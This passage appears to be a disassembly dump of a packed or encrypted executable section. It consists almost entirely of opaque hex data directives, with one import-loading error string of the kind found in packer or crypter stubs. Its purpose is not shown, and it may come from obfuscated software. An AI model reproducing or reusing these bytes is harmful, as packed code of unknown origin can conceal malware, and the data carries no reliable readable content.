4EA4851Fh dd 34EB4818h, 0EEAD7184h, 0AE48F700h, 5EEA24Bh, 3BD45AF9h dd 9DC321A2h, 0CB4AEB55h, 406AF3EFh, 75C8A80h, 7056AB4Dh dd 5CF97A2Ah, 0ECA0F644h, 92F052C4h, 90280BC1h, 2CA6F6ECh dd 1711A596h, 0B451AAC2h, 460E085Eh, 9A3CD61Eh, 0C2172599h dd 7E2804AAh, 5B0D6782h, 0A161A9DDh, 7A20061Bh, 0B1E7FF12h dd 50B07258h, 730A0059h, 877h, 7E86C225h, 0B7DF81E3h, 0C42C7A5Ah dd 1C642809h, 0A8B0E4C1h, 0F5D6CD89h, 0AF8A47AFh, 627C91F9h dd 0D1312C34h, 8AC638Bh, 11972Fh, 0F54FD703h, 905917E5h dd 84722603h, 6A1E5EC0h, 0A5F3CC41h, 0CE53F3B3h, 12B4A2E8h dd 53F5AFF4h, 43B59BFEh, 4FA6D6C5h, 1F47FCF8h, 0CA4FEC4Fh dd 270F0F34h, 0E4B28C6Dh, 0A3F5D32Eh, 1476EBE3h, 330EC84Eh dd 0D09482D6h, 0CA8B3330h, 6B4030Ah, 10030AFAh, 8EBA1F2h dd 933EACFh, 9001F73Fh, 0A775ECB2h, 6509206Eh, 7DD8EEFh dd 0AC830000h, 1B7994FCh, 0D4302D35h, 8EE77A82h, 425FB2DAh dd 332FCE16h, 0F90157B0h, 335B0D64h, 4E96FCDEh, 85EDB393h dd 298D6E0Ah, 69030010h, 7F9503F9h, 1BC666E0h, 78A035B3h dd 429451A2h, 5C640F34h, 0E6657FDAh, 295DDB81h, 7D3E8073h dd 367E030Ah, 96BE60Eh, 1077D147h, 0C0AE8943h, 70030A7Dh dd 6D4BD640h, 475C3D3Bh, 0BBBDEBC4h, 3755C30Bh, 9AE4C923h dd 445C2E86h, 83E17812h, 7B2B5BDDh, 7D5AE013h, 74C030Ah dd 0DDB5865Ch, 6D030A7Dh, 0C0203D45h, 9327989Eh, 0B1030A7Eh dd 49AB43A9h, 662FF07h, 2565E650h, 0A4030A7Dh, 0BF1A1C4Ah dd 6D02F4A4h, 0F41A9F15h, 127608ECh, 0C91E244Ch, 83E0637Fh dd 0E32B5BDDh, 0A516E1BBh, 0C3030A7Dh, 53FBAA7Dh, 4B1B2244h dd 989B3D97h, 30A8D26h, 59DD5E66h, 78030A8Dh, 85C13719h dd 65330CE9h, 8803F53Dh, 0F7EDE1ABh, 52B53F13h, 224088F5h dd 16EBCh, 4E5B800h, 2A5AB828h, 0B0DD83DFh, 4BC68E88h dd 0AC66266Ah, 58ED3BA6h, 7BB0D4A4h, 4D9E9933h, 0CB0F34D3h dd 0CC4A1076h, 3523714Dh, 0E5994971h, 0CB6D07DDh, 0AD8D668h dd 0FEAE9603h, 355D0363h, 0A294FAD8h, 0F00D7729h, 0A1F7D288h dd 9AC82AB7h, 804A2E9Ch, 0C02F83D3h, 2A8F6561h, 0A535BF1Bh dd 62FF074Dh, 4ED85E04h, 0DF325A19h, 35A492C6h, 3BDD77DDh dd 4C808638h, 1B4DA784h, 0AD95691Dh, 1A7895FDh, 7BC49E34h dd 844C80C3h, 7A5EB383h, 20F27414h, 0E7A7EDC9h, 0F25EC004h dd 876D6972h, 0A1C99FF7h, 160056ACh, 5F657ECCh, 3CB4031Ch dd 0F2A1A66Ch, 0DB67DF58h, 1F27F6C6h, 6B391AF7h, 0F5D62BEDh dd 3E55FFAFh, 0D64CAF65h, 80F6C6DBh, 6B90B2BAh, 9848AF2Bh dd 672D09E4h, 721273F1h, 824DCD97h, 7EB0D45Ah, 77F5BC79h dd 8C6D274Fh, 3E76E0B6h, 0EDB3936Eh, 0C78DEE6Bh, 0C52F3351h dd 6F77DD35h, 48CE94F2h, 10CAE9FEh, 0C671A727h, 87EFD7F6h dd 80D62C0Dh, 3F657DC0h, 287E5839h, 0E75FD872h, 0A7F6C671h dd 0E869CF9Fh, 0FD5CDA8Ch, 0D245B3E1h, 0DD872C80h, 1BF6353Bh dd 7FB5E08Fh, 0A941ABAFh, 66FB0349h, 4ADC5A00h, 0B38C461Dh dd 0F6C6BE3Fh, 0D20F575Fh, 11E8A2F0h, 0BAEA6C30h, 0ADBA0CEAh dd 6BE35CF6h, 0BF6C6BEh, 0A259D33Bh, 2CF61E44h, 54A77D26h dd 0F349EA3h, 0E7B95363h, 0E14CF24Dh, 240C030Ah, 49BCD43Ah dd 2FFFFB54h, 5AA2F0D2h, 7BFDAB87h, 8F68BBA9h, 30A0A37h dd 4D074F77h, 330849F2h, 3F390909h, 4EF043E5h, 0E050D08h dd 35856626h, 23050D38h, 1B49A525h, 0F1A7BC1Dh, 4D074F07h dd 0D184CF2h, 0FC240C05h, 0A7E9CB26h, 25E25DE7h, 0F30F3428h dd 0E1573D1Eh, 4979E5A5h, 0F65CBE93h, 0A2844400h, 9089DF37h dd 318B04Eh, 0DC3F5ED4h, 80000004h, 7E93FBADh, 312C341Ah dd 0E47981D7h, 5CB1D98Fh, 2CCD1543h, 54B132h, 5A0E65F8h dd 95C3DF32h, 0ECB2904Dh, 8E690B84h, 3001528h, 0E502F868h dd 9ED8017h, 0E5A55E8Ah, 4FA9392Fh, 383BD119h, 0F34AD37h dd 85EBA57h, 0EE683C15h, 45A47EA6h, 1A3C3A6Eh, 0A8FA519h dd 95DDE503h, 48A173F5h, 763E386Eh, 63D5BB9Bh, 3B806323h dd 73030A8Fh, 0D5B2951Fh, 5CB5E1ABh, 0A0h, 0CB2EBC98h dd 603A050Dh, 0CBC96DCEh, 0B989050Dh, 0B68C01E9h, 0FE902AE0h dd 0DCBB97Dh, 4AC9F905h, 50DCBF4h, 177D59B4h, 0DD73FEFh dd 8C320DC4h, 0CC050DCBh, 15E6BCE4h, 50DCB99h, 855FD9E9h dd 0CBAE10E3h, 0C6EE050Dh, 75DB3B06h, 0D582C76Dh, 94C2223Fh dd 51CD2EF4h, 21050DCBh, 5CBA2711h, 0E4FD5CF6h, 85C846B0h dd 3488285Bh, 97FFAFD7h, 855F044Dh, 0D7220BAh, 0BA506005h dd 4E1E4AA7h, 32CB77E8h, 119050Dh, 0B6EDE4ABh, 32BF231Ch dd 0B7FF050Dh, 0D24EAFh, 77CA0000h, 0E19B4B1Dh, 6C267F95h dd 34FB5293h, 8454A20Fh, 0F1280DCFh, 8415034Bh, 4993FBADh dd 0D569CA15h, 95030AFCh, 0CC4A1C78h, 72285098h, 0AFC0181h dd 0D7417103h, 0AFCE554h, 89DF3803h, 0A531128Fh, 0C1B25CDBh dd 0D0468EC0h, 0C5EAC216h, 70C72D21h, 0D4D95DDEh, 6F99FCF5h dd 430B369h, 73135B2Eh, 0D2DABA99h, 916204A9h, 0FCF5A02Dh dd 0EEC8456Dh, 56F6BEB8h, 57C9h, 0F7D22F00h, 54D1B74h dd 71959F45h, 298D6E24h, 69050DCBh, 7FBD8359h, 0AF497600h dd 71E04606h, 1C264E12h, 6F1ABF8h, 50D1D44h, 0B70FE882h dd 0F7050D1Dh, 227052CFh, 4970FE62h, 734EDC99h, 0D04BCDF5h dd 50DB96Ah, 854CA0B8h, 0FD7E1441h, 50DB9CDh, 7FD052Dh dd 181E44A2h, 966159B9h, 50DCB20h, 0C0285060h, 0DD772C3Ah dd 3498D962h, 0AFA9990Fh, 0AFA8E2Ch, 0EAC2C603h, 0C99FFA57h dd 98147319h, 2B9BB5E1h, 59000000h, 6C267F95h, 34C1DA93h dd 9F983A0Fh, 30AC127h, 0E2C25F67h, 118A8CB4h, 30AC1A9h dd 7EDE1h, 0B5E17543h, 0E2CAh, 44A20E00h, 0A8F6441Eh, 28F06D0Fh dd 0A6D066D1h, 0A090050Dh, 1D72F678h, 1E90213Bh, 0C69E84Eh dd 53AF8258h, 118B1B05h, 780EDB0Eh, 0F3D34EA8h, 0E25DF7ADh dd 50D465Ch, 0F274141Ch, 0F79F0F67h, 0F65AB977h, 0C8273608h dd 0F6BEB8EEh, 0FD7E86CEh, 50D0A5Dh, 1AB0E6FCh, 0F97F2907h dd 18F51DCDh, 0B0BE543Ah, 0D1A1F83h, 0A48242B7h, 0C59FC402h dd 34554D7Ah, 1FB5FD0Fh, 5744FA45h, 3C04030Ah, 88DE646Ch dd 9DC631EBh, 6D09358Bh, 51B28F45h, 8AE34903h, 43AE7FA0h dd 409DF595h, 10D83167h, 0A60911ECh, 1EDCDA0h, 5CB30000h dd 0B69E40Ch, 0C4203D45h, 0BE974A92h, 724F82EAh, 433FDE26h dd 0C91147A0h, 36B3D14h, 5EA6ECCEh, 95FDA383h, 199D9E3Ah dd 5903002Ah, 41A273C9h, 3016CB13h, 95A8026Ah, 9E6C267Fh dd 0F0C8B151h, 0C59F4F56h, 3415357Ah, 381EF30Fh, 0E6CEB252h dd 1543FF70h, 170B030Ah, 48DDBA9Dh, 0D9A4B5E2h, 80000000h dd 19A90DEEh, 0D9E9030Ah, 44A25309h, 63FE181Eh, 0E5AB8803h dd 0D0B3373h, 5BB48959h, 6B94A1CBh, 97DF590Fh, 0D14D7EA9h dd 0EE2CAFA9h, 4F050DCFh, 966B2177h, 3E76E0B6h, 8BEB666Eh dd 48210FC5h, 163A3DA6h, 696FC0E3h, 0DF075C2Ch, 499F290Fh dd 6EDC762Ch, 0C67F42A6h, 4EAD7DD3h, 0F34D261h, 7399E1D1h dd 0A98A4015h, 935031Fh, 18F8BF8Dh, 0B37E90A1h, 0B0926F13h dd 83074E2h, 0B6E2FF52h, 45F97A1Ch, 505036Eh, 0E8656D3Dh dd 0B240D98Fh, 700911E7h, 0EDE3FAh, 5CB30000h, 0B69E40Ch dd 0C4203D45h, 0BE974A92h, 724F82EAh, 433FDE26h, 0C91147A0h dd 36B3D14h, 5EA6ECCEh, 95FDA383h, 199D9E3Ah, 59030029h dd 41A273C9h, 0BCBAE0C6h, 0A5B8C008h, 5FF074Dh, 0B38C44A2h dd 50DCB0Bh, 9C9AC82Ah, 0E42C14E8h, 0C8FE772h, 0BE00F337h dd 0FE050DCBh, 3E468EB6h, 1070FE14h, 549CC84Eh, 35FEBDBEh dd 72420F3Eh, 3B6141D8h, 5FD9893Dh, 56BEE4C2h, 3F55BBBh dd 0F89FEE88h, 230913E6h, 1771E3BFh, 0D2C1DF41h, 42AAAE7Eh dd 54EA55EFh, 14664872h, 81E17C2Ch, 785EB3DBh, 58F22412h dd 487267DFh, 4F1F2766h, 49CF95F2h, 7ACD273Bh, 72EF57A0h dd 87AF6648h, 7FF9AF8Ah, 0AC8A9737h, 25049EE6h, 0E99D9BC9h dd 4DCE2439h, 270AE975h, 6E8001E3h, 2B936C26h, 6B66480Eh dd 4825135Bh, 3, 0A2FF79F0h, 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h dd 0C455C395h, 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h, 63FE782Eh dd 32D95F01h, 5E08950h, 4, 3304E883h, 4312404h, 24043324h dd 6336685Ch, 3C890000h, 0E7895724h, 4C781h, 0EF830000h dd 243C8704h, 2414895Ch, 0B8B95155h, 0F7429007h, 814149D9h dd 9DDE06C1h, 59CD8948h, 685DEF89h, 7561h, 83242489h, 5A042404h dd 89FB8953h, 1C8B085Ah, 4C48124h, 0FF000000h, 815A2434h dd 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFF999DAh, 6961DAE5h dd 23B85E61h, 3060DE3h, 0ADE0FFC5h, 0CC04C721h, 0F67E12ECh dd 3F773FEBh, 0E80DE164h, 0Eh, 8D24101h, 0E3BE3229h, 1071CDA0h dd 8A0F12E3h, 2, 8158D78Bh, 2EC3FFF7h, 65C08153h, 8B000068h dd 19EA68D9h, 8E90000h, 52000000h, 0DEBE6794h, 59920742h dd 0FFD68B66h, 5AD28130h, 5E4C0D21h, 0BE956h, 483E0000h dd 6E6199DCh, 37349FD7h, 0F6815B93h, 64BA843h, 81F9B70Fh dd 58AC8EC6h, 81F48A23h, 0B22F0CF6h, 5CBF6633h, 8B66563Ch dd 80008FD0h, 0E88198DBh, 765A1595h, 91C081F5h, 0BF765A15h dd 0A87CB69h, 0F01E983h, 1185h, 0B93BA00h, 22E96BB4h, 21000000h dd 5208DF8h, 0F88BFF24h, 0FFFF8EE9h, 83941EFFh, 6822C58Ch dd 0F8893B3Ch, 0EA9825h, 0AD817BCCh, 818D8DBCh, 0E9060DE5h dd 0Fh, 463E8CA6h, 0C8C87195h, 0DACA6649h, 89C2BBF0h, 71B418Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0B8661EE1h, 85C783F8h, 6070605h, 5D14h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 3FC35343h dd 0CAABDA27h, 0E5CB4FEDh, 9E9C3h, 71130000h, 6DDC97Eh dd 0C746E8E3h, 7006985h, 6, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0DC8023E3h dd 0A5B5FF9Fh, 6A06070Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 8984C355h, 0CE487033h dd 0E9818263h, 12h, 2A5613F3h, 67B69D28h, 0CD2E5F20h, 52C21D1Fh dd 0FFF8A89Dh, 701E195h, 65B53306h, 6A06072Bh, 195FF00h dd 8B060732h, 0A618EBC0h, 8B6D40Ah, 18324B2Dh, 3065116Fh dd 0B7700883h, 3C44E0CCh, 0E9789077h, 127h, 73765B50h dd 154EEFACh, 0 aAnErrorHasOcur db 'An Error has ocurred while loading imports',0 db 37h dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h dd 777E600h, 5 dup(0) dd 0FD000000h, 77E7A5h, 2Bh dup(0) dd 2000000h, 48000000h, 0F4C706E1h, 0CF63921Dh, 238F96A6h dd 11341257h, 35B11C13h, 42351F33h, 722B6166h, 0A9F29E35h dd 88321177h, 6F9F90EFh, 0BFBF1361h, 173BA694h, 0D069C699h dd 4E67A8E5h, 56321361h, 0A9614571h, 88321177h, 6F9F90EFh dd 0BFBF1361h, 173BA587h, 0D069C699h, 0F9B1D5EDh, 243FF094h dd 1B61A66h, 5321566h, 49E6BAE3h, 0AFE2EA60h, 1CE6CAE3h dd 4EE2EA60h, 432E58E3h, 705A4360h, 0EEAEBDDEh, 8F20F8D3h dd 0BAB79860h, 0DD341F1Ah, 74B79CB6h, 534127Dh, 49D4D7E3h dd 0A7BF4560h, 173FF0C5h, 25A7EA36h, 83341247h, 252AECE3h dd 11321560h, 0C5B7D366h, 134127Ah, 505B7C0Eh, 0B887EAE8h dd 5341267h, 430806E3h, 0ABE2EA60h, 161308E3h, 0C5B7D360h dd 734127Ah, 45594B0Eh, 0B887EAFAh, 5341267h, 430806E3h dd 0ABE2EA60h, 1CD7CFE3h, 0C5B7D360h, 1034127Ah, 405A3C0Eh dd 0B887EA88h, 5341267h, 430806E3h, 0ABE2EA60h, 1CD7CBE3h dd 0C5B7D360h, 134127Ah, 420AD70Eh, 0B887EABCh, 5341267h dd 430806E3h, 0ABE2EA60h, 1CD7F7E3h, 1D8F9660h, 4434127Fh dd 22779069h, 94F41566h, 8E35092Bh, 3AB47D23h, 97CDEF46h dd 173514CFh, 0B22190EBh, 94CD1361h, 0C7D490EFh, 94F4136Bh dd 8E35092Bh, 94F17D2Ah, 97CDF540h, 173514CFh, 0B22190EBh dd 94CD1361h, 0C7D890EFh, 51DB136Bh, 4E321566h, 432E58E3h dd 2F5A4760h, 0EE8E5F82h, 8F1D64D3h, 57B79860h, 0DD34125Ch dd 0F7B79CB6h, 4E341883h, 432E58E3h, 6A5A4760h, 0EE94592Ch dd 8F1D64D3h, 57B79860h, 0DD34125Ch, 0FBB79CB6h, 4E341883h dd 432E58E3h, 0C85A4760h, 0EECF57D2h, 8F33BCD3h, 57B79860h dd 0DD34125Ch, 0F8B79CB6h, 4E341246h, 432E58E3h, 815A6260h dd 0EEC182CEh, 8F24A8D3h, 57B79860h, 0DD34125Ch, 68B79CB6h dd 4E341244h, 432E58E3h, 355A4760h, 0EEB8C857h, 8F33BCD3h dd 57B79860h, 0DD34125Ch, 8B79CB6h, 4E341249h, 432E58E3h dd 1B5A4360h, 0EEE60A0Bh, 8F20F8D3h, 0BAB79860h, 0DD341F1Ah dd 4B79CB6h, 4E341273h, 432E58E3h, 585A5260h, 0EEB3C976h dd 8F33BCD3h, 57B79860h, 0DD34125Ch, 88B79CB6h, 4E341248h dd 432E58E3h, 0C05A5260h, 0EEB81AD3h, 8F33BCD3h, 57B79860h dd 0DD34125Ch, 1BB79CB6h, 0B341880h, 432774DBh, 0A63D1560h dd 11321337h, 947F90A0h, 2C7E1361h, 0FBE8098Fh, 109BA099h dd 0DBF1361h, 42352F75h, 0A7BBC599h, 173FF090h, 947F90A0h dd 2C7E1361h, 0FF46CBA8h, 109BA099h, 0DBF1361h, 42352F75h dd 0A7BBC599h, 173FF09Ch, 947F90A0h, 2C7E1361h, 95B39759h dd 109BA099h, 0DBF1361h, 42352F75h, 0A7BBC599h, 173FF098h dd 947F90A0h, 2C7E1361h, 911D557Eh, 109BA099h, 0DBF1361h dd 42352F75h, 0A7BBC599h, 173FF098h, 947F90A0h, 2C741361h dd 98EC1372h, 109BA099h, 0DBF1361h, 42352F75h, 0A7BBC599h dd 173FF360h, 947F90A0h, 2C751361h, 0A3EE051Ch, 109BA099h dd 0DBF1361h, 42352F75h, 0A7BBC599h, 173FF368h, 947F90A0h dd 2C751361h, 0CDB59BCAh, 109BA099h, 0DBF1361h, 42352F75h dd 0A7BBC599h, 173FF374h, 947F90A0h, 2C751361h, 0F6A8B2B4h dd 109BA099h, 0DBF1361h, 42352F75h, 0A7BBC599h, 173FF370h dd 947F90A0h, 2C751361h, 98F32C62h, 109BA099h, 0DBF1361h dd 42352F75h, 0A7BBC599h, 173FF37Ch, 968BA8E5h, 31321361h dd 6FB7D346h, 5634127Ah, 0FA1F720Eh, 0ED87EA86h, 0AF341267h dd 160806E3h, 1E2EA60h, 49D40BE3h, 6FB7D360h, 5634127Ah dd 0A181A40Eh, 0ED87EAE8h, 0AF341267h, 160806E3h, 1E2EA60h dd 49D437E3h, 6FB7D360h, 5234127Ah, 0FE78B20Eh, 0ED87EAA6h dd 0AF341267h, 160806E3h, 1E2EA60h, 49D433E3h, 6FB7D360h dd 5D34127Ah, 0EE5EFE0Eh, 0F987EA9Dh, 0AF341270h, 160806E3h dd 1E2EA60h, 49D4AFE3h, 6FB7D360h, 5534127Ah, 0FBBC400Eh dd 0ED87EADDh, 0AF341267h, 160806E3h, 1E2EA60h, 49D43FE3h dd 6FB7D360h, 5234127Ah, 65CE90Eh, 0ED87EADAh, 0AF341267h dd 160806E3h, 1E2EA60h, 49D43BE3h, 6FB7D360h, 4234127Ah dd 980CBF0Eh, 0ED87EAA0h, 0AF341267h, 160806E3h, 1E2EA60h dd 49D427E3h, 438F9660h, 11341245h, 88D29169h, 0C1F41566h dd 2435092Bh, 0DF037D20h, 3DCDEFF0h, 423514CFh, 182190EBh dd 0C1CD1361h, 6EBC90EFh, 0C1F4136Bh, 2435092Bh, 2BE47D20h dd 3DCDE9C1h, 423514CFh, 182190EBh, 0C1CD1361h, 6EAC90EFh dd 0C1F4136Bh, 2435092Bh, 0B5327D20h, 3DCD879Ah, 423514CFh dd 182190EBh, 0C1CD1361h, 6E9090EFh, 0C1F4136Bh, 2435092Bh dd 5E587D20h, 3DCDE3B2h, 423514CFh, 182190EBh, 0C1CD1361h dd 6E9490EFh, 0C1F4136Bh, 2435092Bh, 41D57D20h, 3DCD81ABh dd 423514CFh, 182190EBh, 0C1CD1361h, 6EA090EFh, 0C1F4136Bh dd 2435092Bh, 65097D20h, 3DCDA444h, 423514CFh, 182190EBh dd 0C1CD1361h, 6EA490EFh, 0C1F4136Bh, 2435092Bh, 0FBDF7D20h dd 3DCDCA1Fh, 423514CFh, 182190EBh, 0C1CD1361h, 6EA890EFh dd 0F9B1136Bh, 24350BDFh, 0D7126066h, 8F2E58E3h, 1A5A4660h dd 0DDFCAB86h, 1633BCD3h, 9BB79860h, 0BB34125Ch, 14B79CB6h dd 0D7341880h, 8F2E58E3h, 0C35A5260h, 0DDF5A438h, 1633BCD3h dd 9BB79860h, 0BB34125Ch, 18B79CB6h, 92341880h, 8F2CACDBh dd 64471560h, 3E7F90A0h, 79751361h, 6E506B63h, 459BA099h dd 0A7BF1361h, 17352F75h, 0DBBC599h, 423FF358h, 3E7F90A0h dd 79711361h, 1A481C90h, 459BA099h, 0A7BF1361h, 17352F75h dd 0DBBC599h, 423FF324h, 3E7F90A0h, 79711361h, 74138246h dd 459BA099h, 0A7BF1361h, 17352F75h, 0DBBC599h, 423FF320h dd 3C8BA8E5h, 64321361h, 0C5B7D326h, 734127Ah, 229A160Eh dd 0B887EAEDh, 5341267h, 430806E3h, 0ABE2EA60h, 1CD45BE3h dd 0C5B7D360h, 734127Ah, 7904C00Eh, 0B887EA83h, 5341267h dd 430806E3h, 0ABE2EA60h, 1CD45FE3h, 0C5B7D360h, 734127Ah dd 8800F40Eh, 0B887EA8Ch, 5341267h, 430806E3h, 0ABE2EA60h dd 1CD447E3h, 0C5B7D360h, 734127Ah, 0D39E220Eh, 0B887EAE2h dd 5341267h, 430806E3h, 0ABE2EA60h, 1CD443E3h, 0C5B7D360h dd 0B34127Ah, 17A2C10Eh, 0B887EAF1h, 5341267h, 430806E3h dd 0ABE2EA60h, 1CD44FE3h, 0C5B7D360h, 0B34127Ah, 4C3C170Eh dd 0B887EA9Fh, 5341267h, 430806E3h, 0ABE2EA60h, 1CD44BE3h dd 0C5B7D360h, 934127Ah, 154B5C0Eh, 0B887EAAEh, 5341267h dd 430806E3h, 0ABE2EA60h, 1CD473E3h, 0C5B7D360h, 934127Ah dd 0D57F9C0Eh, 0B887EABAh, 5341267h, 430806E3h, 0ABE2EA60h dd 1CD477E3h, 0C5B7D360h, 1134127Ah, 391F220Eh, 0B887EAFAh dd 5341267h, 430806E3h, 0ABE2EA60h, 1CD47FE3h, 0C5B7D360h dd 734127Ah, 0F7C23F0Eh, 0B887EAB4h, 5341267h, 430806E3h dd 0ABE2EA60h, 1CD47BE3h, 0C5B7D360h, 1634127Ah, 6086FF0Eh dd 0B887EA9Bh, 5341267h, 430806E3h, 0ABE2EA60h, 1612FCE3h dd 0C5B7D360h, 334127Ah, 0BA6B8C0Eh, 0B887EA84h, 5341267h dd 430806E3h, 0ABE2EA60h, 1CD467E3h, 0C5B7D360h, 334127Ah dd 0DF52D70Eh, 0B887EAD7h, 5341267h, 430806E3h, 0ABE2EA60h dd 1CD463E3h, 0C5B7D360h, 334127Ah, 84CC010Eh, 0B887EAB9h dd 5341267h, 430806E3h dd 0ABE2EA60h, 1CD46FE3h, 0C5B7D360h, 1B34127Ah, 72C07D0Eh dd 0B887EAF8h, 5341267h, 430806E3h, 0ABE2EA60h, 1CD46BE3h dd 0C5B7D360h, 0B34127Ah, 0DE492A0Eh, 0B887EAA1h, 5341267h dd 430806E3h, 0ABE2EA60h, 1CD4BFE3h, 0C5B7D360h, 334127Ah dd 795C590Eh, 0B887EA9Ch, 5341267h, 430806E3h, 0ABE2EA60h dd 1CD4BBE3h, 0C5B7D360h, 334127Ah, 2416D80Eh, 0B887EAA5h dd 5341267h, 430806E3h, 0ABE2EA60h, 1CD4A7E3h, 0C5B7D360h dd 1B34127Ah, 9952D90Eh, 0B887EAB2h, 5341267h, 430806E3h dd 0ABE2EA60h, 1CD497E3h, 0C5B7D360h, 1B34127Ah, 0CB665B0Eh dd 0B887EAF8h, 5341267h, 430806E3h, 0ABE2EA60h, 1CD493E3h dd 0C5B7D360h, 1B34127Ah, 311A5D0Eh, 0B887EAB7h, 5341267h dd 430806E3h, 0ABE2EA60h, 1CD49FE3h, 0E0367F60h, 44320566h dd 2222150Eh, 0EE327F66h, 8F2970F3h, 0B9B79C60h, 0AF341269h dd 1CE712E3h, 0E2E2EA60h, 54327D62h, 225A1566h, 7B321546h dd 0EDA7EA66h, 0CD34127Dh, 253D60E3h, 0A0B79C60h, 0E2341266h dd 54327D26h, 225A1566h, 7B321466h, 0EDA7EA66h, 0CD34127Dh dd 251F18E3h, 0B4879E60h, 3341243h, 433004FBh, 33879C60h dd 9834124Ch, 8F2B0CFBh, 55AF9E60h, 0A9341264h, 11CB966Dh dd 82ED9169h, 15621566h, 0ABF22606h, 162AB8E3h, 880EAB60h dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h dd 9FBB0D18h, 173533CFh, 0D3DEAE3h, 4432156Ch, 22231B8Eh dd 11A3FC66h, 3631566h, 40E07EB1h, 370380EFh, 15581361h dd 8822150Eh, 44584766h, 39578099h, 94BB1361h, 8E35340Bh dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 0B98F9EB1h, 0A1341269h dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 8F2AB8E3h dd 0E9A79E60h, 1B34127Eh, 1614BCF3h, 82B61A60h, 1E321566h dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 24350A23h dd 11321566h, 967790A1h, 44321361h, 9FB11566h, 173FF094h dd 80B61A66h, 0C9321566h, 2F7A7EFBh, 0EEE1EA60h, 8F3648E3h dd 198F9660h, 46341262h, 11509769h, 0DF51566h, 4235113Bh dd 22321567h, 0DB879806h, 5341880h, 4A3120DBh, 0A9CC3E60h dd 0EC8F9EB1h, 0B341269h, 8401EAAFh, 0E30013ECh, 96369E20h dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 9697905Fh dd 0C03D1361h, 22321571h, 238BA8E5h, 87321361h, 44321FE3h dd 0DBB7D266h, 1034127Eh, 0E9321566h, 162558DFh, 8B9BAF70h dd 989F2200h, 8F1804D3h, 0B874D260h, 22321566h, 0FFDCFB5Bh dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h dd 44321560h, 26F49666h, 3B23A0EFh, 71DB1361h, 0CF32156Eh dd 0DBB726BEh, 0D034127Eh, 4A1916AEh, 7722D5A7h, 0DBAF9CA7h dd 2C34127Eh, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 8F1804D3h dd 55AF9E60h, 0A9341264h, 71E29E6Dh, 0D19D7EDh, 42353CD3h dd 2130F5A7h, 1628C0E3h, 8B9F8360h, 60769CA7h, 5EDB747Ah dd 40321566h, 3FB2634h, 431378F3h, 2D302E60h, 11322DE2h dd 8CF09666h, 0EDBF2E27h, 2D341240h, 0EECDFDE3h, 27879899h dd 0C9341883h, 251538DBh, 0D1B6B960h, 88349169h, 0AD981566h dd 0DDCDEA97h, 113215DEh, 3CBF9866h, 0BB34122Bh, 8FBF9C87h dd 4B34127Eh, 15B9433Fh, 42351777h, 0A7B91EEDh, 17350DCBh dd 0D31F5B7h, 4235144Bh, 44A4E355h, 13D2D4CBh, 92E79065h dd 0E9A41361h, 0A16CD465h, 1618E8DBh, 0C3D1460h, 4432155Fh dd 239B985Dh, 953D1361h, 8832154Bh, 528F985Dh, 0A63D1361h dd 11321547h, 9DBB985Dh, 0C03D1361h, 22321573h, 0EA3F88EBh dd 5BCD136Bh, 0C1BBEDEDh, 24353E4Fh, 1134A18Fh, 85AF9866h dd 0BB34189Dh, 0DF8F96B5h, 1134124Ch, 882F9169h, 0C1091566h dd 243516DFh, 113E9169h, 0D091566h, 4235258Fh, 22379069h dd 0A8DB1566h, 0B3CDEA99h, 431308E3h, 3AB71A60h, 92321566h dd 8F2B80DBh, 0C13D1560h, 2232156Dh, 0A83990EBh, 1DDB136Bh dd 7FCDEA99h, 251308E3h, 98B61A60h, 0BCDEA99h, 49D7BEDBh dd 0A73D1460h, 11321571h, 6E38905Dh, 0C13D136Bh, 2232156Dh dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 438F9699h, 11341273h dd 8B559169h, 0C1091566h, 243FF090h, 94B91213h, 8E350A8Bh dd 0BAB72E21h, 57341883h, 0A4B79E61h, 0CF34124Ch, 0A1C8905Dh dd 2547136Bh, 0D7790EDh, 0B3751361h, 49D417E3h, 0A9356060h dd 163B20E3h, 0D095260h, 423FF360h, 0A7B91213h, 173513FBh dd 82B72E21h, 31341880h, 33B79E61h, 5634127Ch, 6E3C905Dh dd 4347136Bh, 27AB90EDh, 2A751361h, 85D407E3h, 0CF356060h dd 253204E3h, 94095260h, 8E3FF370h, 0C1B91213h, 2435024Fh dd 0BB72E21h, 0FD341880h, 1DB79E61h, 65341278h, 0F710905Dh dd 8F47136Bh, 685F90EDh, 19751361h, 1CD40BE3h, 0B226060h dd 432CACDBh, 25471560h, 30BF90EDh, 0B751361h, 431484DBh dd 2D461560h, 0F798905Dh, 8F47136Bh, 5FAB90EDh, 0A1751361h dd 161174DBh, 0FA461560h, 5283A8E5h, 56321361h, 9FB72E0Fh dd 0FD341880h, 69B79E61h, 6534127Ah, 0F7AC905Dh, 8F47136Bh dd 51D790EDh, 19751361h, 1CD487E3h, 3356060h, 432F10E3h dd 0A7095260h, 173FF3C4h, 0DB91213h, 42350983h, 84B72E21h dd 64341880h, 3DB79E61h, 334124Bh, 0C4A4905Dh, 1647136Bh dd 816790EDh, 7F751361h, 2FD48FE3h, 9A356060h, 8F1CF4E3h dd 0F9B15260h, 243503D7h, 1BB61A66h, 0B3321564h, 49D433E3h dd 0A9356060h, 161164E3h, 0D095260h, 423FF3DCh, 0A7B91213h dd 17350827h, 0A2B72E21h, 31341880h, 0E7B79E61h, 